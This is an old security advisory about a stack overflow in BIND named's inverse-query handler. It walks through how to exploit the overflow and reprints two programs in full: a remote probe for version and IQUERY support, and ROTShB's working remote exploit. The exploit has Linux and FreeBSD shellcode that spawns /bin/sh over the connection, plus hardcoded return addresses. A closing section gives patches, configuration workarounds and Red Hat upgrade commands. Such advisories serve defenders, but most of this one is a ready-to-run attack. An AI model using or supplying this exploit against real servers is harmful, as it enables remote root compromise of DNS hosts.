COMMAND
BIND
SYSTEMS AFFECTED
Systems running BIND prior to 4.9.7 and 8.1.2
PROBLEM
This advisory deals with exploit for named that was addressed in
originally in advisory 'BIND #9' in this section. Credit goes to
Riders of the Short Bus (ROTShB).
Some time ago you might have read a CERT advisory which let a lot
of terrible people know that there was a bcopy()/memcpy() (may be
the same thing for you, may not) in named's req_iquery() (if not,
'BIND #9' is based on that advisory). All that was terrible about
this was simply that a user definable ammount of user definable
data was copied to a memory address on the stack which happened to
be lower than the memory address which stores the return address
for the said function. This of course is all relative to your
arch/os. The only requirement is that the target named needs to
accept fake iqueries, that is they had INVQ defined at compile
time or they have the appropriate options set in a config file.
Now let's take a look at how the exploit works.
Looking at req_iquery() found in ns_req.c we can see that
exploitation is pretty straight forward. The only thing we should
really note here is the dlen and alen variables. As you can see
they could cause a segmentation violation prior to the function's
return if they held certain values. In which case, script kids
would be out of luck. So we go ahead and fill them with friendly
data. Friendly being the values they would typically hold when
processing a real inverse query. If you look at the code you'll
also notice that our need to to fill alen/dlen with good values
depends on wether or not #ifdef INVQ is true. But we want our
exploit to work either way so we do it reguardless.
We still have yet another problem. The ret address' distance
from anbuf will obviously change if the order in which the
variables are arranged on the stack is changed. Isn't gcc a
bitch. Without optimization they'll be in normal order, but
compile with -O and they are mixed around. Basically we have to
write 2 exploits. One for an optimized version of named and one
for a non optimized version of named. Now this is rather
important: the ammount of data required to overflow an optimized
named is less than the ammount of data required to overflow a non
optimized named. Hence, ALWAYS ATTEMPT TO EXPLOIT A NAMED AS
THOUGH IT WAS OPTIMIZED FIRST. If it isn't optimized you won't
cause a segv. The above is precisely why alot of people will
find this not to work.
A little about the exploit: the target types listed have (se)s
and (le)s after them you'll notice. se means small enviorment
and le means large enviorment. Ehe enviorment size upon execution
of named will affect the address we want to return to quite a bit.
The se addr is typically the addr of anbuf when named is executed
at bootup by an rc file. The le addr is the addr of anbuf when
named is started by a typical bash shell. Hence, ALWAYS USE THE
SE TARGET TYPE, e.g.
./namedexploit targethost 4 1
if that fails, then:
./namedexploit targethost 4 0
One other thing to remember is the arch/os listed in the target
type are just the arch/os tested by ROTShB. Obviously anything
with the same syscall mechanism and stack setup is exploitable
with the provided exploit. Other than that the exploit is simple
and common. Fill buffer with code, fill ret addr with addr of
code. BooM. A note on the shellcode: one possible method of
exploitation is simply to start an xterm. Also, may people won't
have access to xterm. We can predict the fd which will reference
our connection with good accuracy so the shell code you will find
dup2()s stdin, stdout, and stderr with the predicted fd and then
execve()s /bin/sh. Linux shellcode is straight forward. For
BSD? lcalls are a bitch. We mov jmp opcodes to the space
following the lcall opcode before each syscall and then jmp to the
same lcall opcode for every syscall. Before exploit, here's handy
code that will help you to determine to view your name server's
inverse query support status and the version of named that you run
from remote. You can also use dig to get the version information.
/*
* This code was written by:
* Joshua James Drake (jdrake@pulsar.net)
*
* Published 6/9/98 @ 12:02 AM
*
* The following lines of code are, in a nutshell, written to pry
* some information from a nameserver. The information it gives
* you may or may not be useful. That is for you to decide.
*
* However, it will tell you if the server supports IQUERY and, if
* possible, what version of bind (by Paul Vixie) it is running.
*
*/
/* local type includes */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <errno.h>
/* network type includes */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
/* bulky shit for printing dnspkts need to link dnspkt.o from dnspkt.c too */
#ifdef DEBUG
#include "dnspkt.h"
#endif
/* prototypes */
int lookup_host(struct sockaddr_in *ra, char *hn, unsigned short rp);
void probe_bind(struct sockaddr_in ra);
int talk(int sd, char *pkt, int pktl, char opc);
int make_keypkt(char *pktbuf, char opc);
void print_ver(char *host, int vul, char *buf);
void handle_alarm(int signum);
/*
* here we simply check arguments, resolve the hostname given and
* if all is well, initialize the radom seed and probe away.
*/
void
main(argc, argv)
int argc;
char *argv[];
{
struct sockaddr_in ra;
if (argc != 2)
{
printf("usage: %s <host>\n", argv[0]);
return;
}
if (!lookup_host(&ra, argv[1], NAMESERVER_PORT))
return;
srand(time(NULL));
probe_bind(ra);
}
/*
* resolve a hostname to a sockaddr_in struct.
* we first try treating it like an ip address in a.b.c.d notation
* then, if that fails, we try to resolve using DNS ways
* if all fails, we return 0. (failed)
* if we get the sockaddr_in struct all filled out, we return 1.
*/
int
lookup_host(ra, hn, rp)
struct sockaddr_in *ra;
char *hn;
unsigned short rp;
{
struct hostent *he;
ra->sin_family = AF_INET;
ra->sin_port = htons(rp);
if ((ra->sin_addr.s_addr = inet_addr(hn)) != -1)
return 1;
if ((he = gethostbyname(hn)) != (struct hostent *)NULL)
{
memcpy(&ra->sin_addr.s_addr, he->h_addr, 4);
return 1;
}
fprintf(stderr, "Unable to resolve hostname: %s\n", hn);
return 0;
}
/*
* here we allocate some space for our packets and make sure it's
* "fullanull". then we attempt to allocate and setup our socket.
* if failure occurs, we shall report error and return.
* the we attempt to reverse our address in the sockaddr_in structure
* passed as the only argument into a dns name, if that fails, we go
* with the ascii ip address representation. then we attempt to
* communicate the remote server, if failure, we return. after we
* have successfully got our packets back, we close the socket and
* print out a summary of what we got.
*/
void
probe_bind(ra)
struct sockaddr_in ra;
{
int sd;
char iquery[512], vquery[512], rname[256];
struct hostent *he;
HEADER *dh = (HEADER *)iquery;
memset(vquery, 0, sizeof(vquery));
memset(iquery, 0, sizeof(iquery));
if (((sd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) ||
(connect(sd, (struct sockaddr *)&ra, sizeof(ra)) == -1))
{
perror("Unable to connect");
if (sd != -1)
close(sd);
return;
}
if ((he = gethostbyaddr((char *)&ra.sin_addr, sizeof(ra.sin_addr), AF_INET)) == (struct hostent *)NULL)
sprintf(rname, "%s", inet_ntoa(ra.sin_addr));
else
strncpy(rname, he->h_name, sizeof(rname));
if (!talk(sd, iquery, sizeof(iquery), IQUERY))
return;
if (!talk(sd, vquery, sizeof(vquery), QUERY))
return;
close(sd);
/* if dh->rcode == 0, then our iquery request was answered and the remote server
supports iquery */
print_ver(rname, dh->rcode == 0, vquery);
}
/*
* write our packet from pkt, wait for a response and put it in pkt.
* if the alarm goes off or the read fails, we print error
* and return 0. otherwise, our response packet is in pkt and we return 1.
*/
int
talk(sd, pkt, pktl, opc)
int sd, pktl;
char *pkt, opc;
{
int pktlen;
pktlen = make_keypkt(pkt, opc);
if (!write(sd, pkt, pktlen))
{
perror("write failed");
close(sd);
return 0;
}
#ifdef DEBUG
printf("write() success\n");
#endif
#ifndef __sun__
siginterrupt(SIGALRM, 1);
#endif
signal(SIGALRM, handle_alarm);
alarm(3);
pktlen = read(sd, pkt, pktl);
if (pktlen <= 0)
{
if (errno == EINTR)
errno = ETIMEDOUT;
perror("read failed");
close(sd);
return 0;
}
#ifdef DEBUG
printf("read success\n");
#endif
alarm(0);
return 1;
}
/*
* this forms a valid dns packet based on the op code given by opc.
* only two opcodes are supported because that's all we need to support.
* the packet ends up in pktbuf and the length of the packet is returned.
*/
int
make_keypkt(pktbuf, opc)
char *pktbuf;
char opc;
{
HEADER *dnsh;
char *ptr = pktbuf;
int pktlen = 0;
dnsh = (HEADER *) ptr;
/* fill out the parts of the DNS header that aren't 0 */
dnsh->id = htons(rand() % 65535);
dnsh->opcode = opc;
dnsh->rd = 1;
dnsh->ra = 1;
/* one answer for IQUERY, one question for QUERY */
if (opc == IQUERY)
dnsh->ancount = htons(1);
else if (opc == QUERY)
dnsh->qdcount = htons(1);
pktlen += sizeof(HEADER);
ptr += sizeof(HEADER);
/* we have to make a QUERY, fill out the question section */
if (opc == QUERY)
{
/* version.bind. == elite */
char qstr[] = "\007version\004bind\000";
int qlen = strlen(qstr) + 1;
memcpy(ptr, qstr, qlen);
ptr += qlen;
pktlen += qlen;
PUTSHORT(T_TXT, ptr);
PUTSHORT(C_CHAOS, ptr);
pktlen += sizeof(short) * 2;
}
/* add a resource record for the inverse query */
else if (opc == IQUERY)
{
unsigned long addr = inet_addr("1.2.3.4");
unsigned long ttl = 31337;
unsigned short addrlen = 4;
*(ptr++) = '\0';
pktlen++;
PUTSHORT(T_A, ptr);
PUTSHORT(C_IN, ptr);
PUTLONG(ttl, ptr);
PUTSHORT(addrlen, ptr);
PUTLONG(addr, ptr);
pktlen += (sizeof(short) * 3) + (sizeof(long) * 2);
}
/* if we're debugging, show what we just made */
#ifdef DEBUG
print_dnspkt(pktbuf, pktbuf + pktlen);
#endif
return pktlen;
}
/*
* This function takes a DNS packet in buf, and whether or not it reponds to IQUERY in vul.
* We cast the packet and extract the response as long as there is one.
* If there isn't one, then we assume that the remote server is an old version of bind.
* this is the end of the line.
*/
void
print_ver(host, vul, buf)
char *host, *buf;
int vul;
{
HEADER *dnsh = (HEADER *)buf;
char *ptr, *verstr;
int len;
if (dnsh->rcode != 0)
{
printf("%s's named that %s iquery does not respond to version.bind.\n", host, vul ? "supports" : "errors on");
return;
}
/* So we actually have a response. Lets skip the crap, starting with the header */
ptr = (buf + sizeof(HEADER));
/* then the question section domain name. */
while (*ptr != '\0')
ptr++;
/* then the trailing null and the type/class of the question */
ptr += 1 + (sizeof(short) * 2);
/* now we skip the answer section domain name. (should be the same as the question) */
while (*ptr != '\0')
ptr++;
/* don't forget the trailing null, type, class, and time to live. */
ptr += 1 + (sizeof(long) + (sizeof(short) * 2));
/* Here we are at the resource record data length, extract it */
GETSHORT(len, ptr);
/* avoid the need to decompress the string (treat it as one) */
ptr++;
/* allocate space for and copy the version response txt */
verstr = (char *)malloc(len);
memset(verstr, 0, len);
memcpy(verstr, ptr, len-1);
/* run through the vesion string and replace non-printable and non-whitespace characters
with a '.' */
for (ptr = verstr; ptr - verstr != len - 1; ptr++)
if (!isprint(*ptr) && !isspace(*ptr))
*ptr = '.';
/* print the version and iquery support status, woo hoo */
printf("%s's named that %s iquery is version: %s\n", host, vul ? "supports" : "errors on", verstr);
}
/*
* handle the alarm signal by resetting the alarm timer and
* the signal handler for SIGALRM. This stuff probably isn't needed,
* but I did it anyway. It's good for debugging, ran into some problems with
* alarm() not doing its job.
*/
void
handle_alarm(signum)
int signum;
{
alarm(0);
signal(SIGALRM, SIG_DFL);
#ifdef DEBUG
printf("recieved alarm\n");
#endif
}
And now exploit:
/*
* have fun.
* -ROTShB
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#define DEFAULT_TARGET 0
#define DEFAULT_OPTIMIZATION 0
#define DEFAULT_ANBUF_OFFSET 300
#define DLEN_VAL 4
#define NPACKETSZ 512
#define NMAXDNAME 1025
#define PRE_EGG_DATALEN (1+(sizeof(short)*3)+sizeof(long))
#define ALEN_VAL (DLEN_VAL+PRE_EGG_DATALEN)
#define BUFFSIZE 4096
struct target_type
{
char desc[40];
int systype;
unsigned long addr;
unsigned long opt_addr;
int fd;
};
struct target_type target[] =
{
{"x86 Linux 2.0.x named 4.9.5-REL (se)",0,0xbffff21c,0xbffff23c,4},
{"x86 Linux 2.0.x named 4.9.5-REL (le)",0,0xbfffeedc,0xbfffeefc,4},
{"x86 Linux 2.0.x named 4.9.5-P1 (se)",0,0xbffff294,0xbffff2cc,4},
{"x86 Linux 2.0.x named 4.9.5-P1 (le)",0,0xbfffef8c,0xbfffefb4,4},
{"x86 Linux 2.0.x named 4.9.6-REL (se)",0,0xbffff3e3,0xbffff403,4},
{"x86 Linux 2.0.x named 4.9.6-REL (le)",0,0xbffff188,0xbffff194,4},
{"x86 Linux 2.0.x named 8.1-REL (se)",0,0xbffff6a4,0xbffff6f8,5},
{"x86 Linux 2.0.x named 8.1-REL (le)",0,0xbffff364,0xbffff3b8,5},
{"x86 Linux 2.0.x named 8.1.1 (se)",0,0xbffff6b8,0xbffff708,5},
{"x86 Linux 2.0.x named 8.1.1 (le)",0,0xbffff378,0xbffff3c8,5},
{"x86 FreeBSD 3.x named 4.9.5-REL (se)",1,0xefbfd260,0xefbfd2c8,4},
{"x86 FreeBSD 3.x named 4.9.5-REL (le)",1,0xefbfd140,0xefbfd1a8,4},
{"x86 FreeBSD 3.x named 4.9.5-P1 (se)",1,0xefbfd260,0xefbfd2c8,4},
{"x86 FreeBSD 3.x named 4.9.5-P1 (le)",1,0xefbfd140,0xefbfd1a8,4},
{"x86 FreeBSD 3.x named 4.9.6-REL (se)",1,0xefbfd480,0xefbfd4e8,4},
{"x86 FreeBSD 3.x named 4.9.6-REL (le)",1,0xefbfd218,0xefbfd274,4},
{{0},0,0,0,0}
};
unsigned long resolve(char *host)
{
long i;
struct hostent *he;
if((i=inet_addr(host))==(-1))
if((he=gethostbyname(host))==NULL)
return(0);
else
return(*(unsigned long *)he->h_addr);
return(i);
}
int send_packet(int fd, char *buff, int len)
{
char tmp[2], *ptr=tmp;
PUTSHORT(len,ptr);
if(write(fd,tmp,2)!=2)
return(-1);
if(write(fd,buff,len)!=len)
return(-1);
return(1);
}
int attack(int fd, struct target_type t, unsigned long offset, int optimized)
{
char buff[BUFFSIZE], *ptr=buff;
HEADER *dnsh=(HEADER *)buff;
unsigned long i;
int dlen, len=0;
(void)memset(dnsh,0,sizeof(HEADER));
dnsh->id = htons(31337);
dnsh->opcode = IQUERY;
dnsh->rd = 1;
dnsh->ra = 1;
dnsh->ancount = htons(1);
ptr += sizeof(HEADER);
len += sizeof(HEADER);
*ptr = '\0';
ptr++;
i = T_A;
PUTSHORT(i,ptr);
i = C_IN;
PUTSHORT(i,ptr);
i = 31337;
PUTLONG(i,ptr);
if(t.systype==0)
{
char c0de[] =
"\x31\xc0\xb0\x3f\x31\xdb\xb3\xff\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1"
"\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd\x80\xeb\x24\x5e\x8d\x1e\x89"
"\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10"
"\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
"\xff\xff\xff/bin/sh";
if(optimized)
dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
else
dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;
PUTSHORT(dlen,ptr);
len += PRE_EGG_DATALEN;
c0de[7] = t.fd;
(void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));
i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
(void)memcpy((ptr+i),c0de,sizeof(c0de));
if(!optimized)
{
(void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
i = ALEN_VAL;
(void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
i = DLEN_VAL;
(void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
}
else
(void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));
i = (optimized?t.opt_addr:t.addr)+offset;
len += dlen;
}
else if(t.systype==1)
{
char c0de[] =
"\xeb\x6e\x5e\xc6\x06\x9a\x31\xc9\x89\x4e\x01\xc6\x46\x05\x07\x88"
"\x4e\x06\x51\x31\xdb\xb3\x04\x53\x66\xc7\x46\x07\xeb\xa7\x31\xc0"
"\xb0\x5a\x50\xeb\x50\xfe\xc1\x51\x53\xc6\x46\x08\xb6\x31\xc0\xb0"
"\x5a\x50\xeb\x41\xfe\xc1\x51\x53\xc6\x46\x08\xc5\x31\xc0\xb0\x5a"
"\x50\xeb\x32\xc7\x46\x07\x2f\x62\x69\x6e\xc7\x46\x0b\x2f\x73\x68"
"\x21\x31\xc0\x88\x46\x0e\x8d\x5e\x07\x89\x5e\x0f\x89\x46\x13\x8d"
"\x5e\x13\x53\x8d\x5e\x0f\x53\x8d\x5e\x07\x53\xb0\x3b\x50\xeb\x05"
"\xe8\x8d\xff\xff\xff";
if(optimized)
dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
else
dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;
PUTSHORT(dlen,ptr);
len += PRE_EGG_DATALEN;
c0de[22] = t.fd;
(void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));
i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
(void)memcpy((ptr+i),c0de,sizeof(c0de));
if(!optimized)
{
(void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
i = ALEN_VAL;
(void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
i = DLEN_VAL;
(void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
}
else
(void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));
i = (optimized?t.opt_addr:t.addr)+offset;
(void)memcpy((ptr+(dlen-4)),&i,sizeof(i));
len += dlen;
}
else
return(0);
return(send_packet(fd,buff,len));
}
int main(int argc, char *argv[])
{
char xbuf[128], ybuf[128];
unsigned long offset=DEFAULT_ANBUF_OFFSET;
int ti, opt=DEFAULT_OPTIMIZATION, sock, i;
int xlen=0, ylen=0;
fd_set rd, wr;
struct sockaddr_in sa;
for(i=0;((target[i].addr)||(target[i].opt_addr));i++);
if(argc<2)
{
(void)fprintf(stderr,"\ntarget types:\n");
for(ti=0;ti<i;ti++)
(void)fprintf(stderr," %-2d : %s\n",ti,target[ti].desc);
(void)fprintf(stderr,"\nerror: usage: %s <host> [tt] [opt] [ofst]\n",
argv[0]);
exit(-1);
}
if(argc>2)
{
ti = atoi(argv[2]);
if((ti<0)||(ti>i))
{
(void)fprintf(stderr,"error: invalid target type %d\n",ti);
exit(-1);
}
}
else
ti = DEFAULT_TARGET;
if(argc>3)
{
opt = atoi(argv[3]);
if((opt!=0)&&(opt!=1))
{
(void)fprintf(stderr,"error: invalid optimization setting %d\n",opt);
exit(-1);
}
}
if(argc>4)
offset = atoi(argv[4]);
if(!(sa.sin_addr.s_addr=resolve(argv[1])))
{
(void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
exit(-1);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(53);
if((sock=socket(sa.sin_family,SOCK_STREAM,0))==(-1))
{
(void)perror("error: socket");
exit(-1);
}
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))==(-1))
{
(void)perror("error: connect");
exit(-1);
}
(void)printf("target : %s\n",inet_ntoa(sa.sin_addr));
(void)printf("target type : %s\n",target[ti].desc);
(void)printf("optimized named : %s\n",(opt?"YES":"NO"));
(void)printf("anbuff addr : 0x%x\n",(unsigned int)
(i=(opt?target[ti].opt_addr:target[ti].addr)));
(void)printf("anbuff addr offset : %lu\n",offset);
(void)printf("ret addr : 0x%x\n",(unsigned int)(i+offset));
(void)printf("fd to make dups of : %d\n",target[ti].fd);
(void)printf("here we go...\n");
switch(attack(sock,target[ti],offset,opt))
{
case -1:
(void)perror("error: attack");
exit(-1);
break;
case 0:
(void)fprintf(stderr,"error: internal error\n");
exit(-1);
break;
}
(void)printf("have fun.\n");
(void)printf("-ROTShB\n");
while(1)
{
FD_ZERO(&rd);
if(ylen<(sizeof(ybuf)-1))
FD_SET(sock,&rd);
if(xlen<(sizeof(xbuf)-1))
FD_SET(fileno(stdin),&rd);
FD_ZERO(&wr);
if(xlen)
FD_SET(sock,&wr);
if(ylen)
FD_SET(fileno(stdout),&wr);
if((ti=select((sock+1),&rd,&wr,NULL,NULL))==(-1))
{
(void)perror("error: select");
break;
}
if(FD_ISSET(fileno(stdin),&rd))
{
if((i=read(fileno(stdin),(xbuf+xlen),(sizeof(xbuf)-xlen)))==(-1))
{
(void)perror("error: read");
exit(-1);
}
else if(i==0)
break;
xlen += i;
if(!(--ti)) continue;
}
if(FD_ISSET(sock,&wr))
{
if(write(sock,xbuf,xlen)!=xlen)
{
(void)perror("error: write");
exit(-1);
}
xlen = 0;
if(!(--ti)) continue;
}
if(FD_ISSET(sock,&rd))
{
if((i=read(sock,(ybuf+ylen),(sizeof(ybuf)-ylen)))==(-1))
{
(void)perror("error: read");
exit(-1);
}
else if(i==0)
break;
ylen += i;
if(!(--ti)) continue;
}
if(FD_ISSET(fileno(stdout),&wr))
{
if(write(fileno(stdout),ybuf,ylen)!=ylen)
{
(void)perror("error: write");
exit(-1);
}
ylen = 0;
if(!(--ti)) continue;
}
}
if(close(sock)==(-1))
{
(void)perror("error: close");
exit(-1);
}
exit(0);
}
SOLUTION
To address this problem, you can disable inverse queries, upgrade
to BIND 8.1.2 or apply the patch. For BIND 8 disable inverse
queries by editing named.conf so that either there is no
"fake-iquery" entry in the "options" block or the entry is
"fake-iquery no;". For BIND 4.9 disable inverse queries by
editing named.boot, removing any "fake-iquery" entries on
"options" lines. Look at conf/options.h in the source. IfINVQ
has been defined, comment it out and then rebuild and reinstall
the server. Patches are stored on:
ftp://ftp.cert.org/pub/cert_advisories/Patches/CA-98.05_Topic.1_BIND8_patch.txt
ftp://ftp.cert.org/pub/cert_advisories/Patches/CA-98.05_Topic.1_BIND4.9_patch.txt
Upgrade to 4.9.7-REL and 8.1.2 is the less you can do. LeMont
Jones posted following hack;just do the following with the stock
distribution:
in named.conf:
zone "bind" chaos { allow-query {localhost; }; type master; file "pri/bind"; };
and in pri/bind:
$ORIGIN bind.
@ 1D CHAOS SOA localhost. root.localhost. (
1 ; serial
3H ; refresh
1H ; retry
1W ; expiry
1D ) ; minimum
CHAOS NS localhost.
Presto - log messages for denied queries, and no changes to the
code.
Gus on the other hand made his patch as well. When an exploit
attempt is recieved, you get:
Jun 14 23:45:47 victim named[2670]: IQUERY recieved from [192.168.0.20].27447
The patch is for 4.9.6-REL, but it should work accross the board,
you get the idea, anyways.
*** ns_req.c Tue Apr 7 05:59:46 1998
--- ns_req.c.new Thu Jun 4 13:54:07 1998
***************
*** 193,199 ****
break;
case IQUERY:
! action = req_iquery(hp, &cp, eom, &buflen, msg, from);
break;
#ifdef BIND_NOTIFY
--- 193,201 ----
break;
case IQUERY:
! hp->rcode = REFUSED;
! action = Finish;
! syslog(LOG_ALERT,"IQUERY recieved from %s",sin_ntoa(from));
break;
#ifdef BIND_NOTIFY
These problems affect users of Red Hat 4.2, 5.0, and 5.1. Red Hat
strongly suggests all users update to these new versions as soon
as possible. After upgrading to the new version of bind, be sure
to restart bind with:
/etc/rc.d/init.d/bind stop
/etc/rc.d/init.d/bind start
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/i386/bind-4.9.7-1.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/alpha/bind-4.9.7-1.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/sparc/bind-4.9.7-1.sparc.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/i386/bind-4.9.7-1.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/alpha/bind-4.9.7-1.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/i386/bind-4.9.7-0.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/alpha/bind-4.9.7-0.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/sparc/bind-4.9.7-0.sparc.rpm
Also, check for other OS patches is available.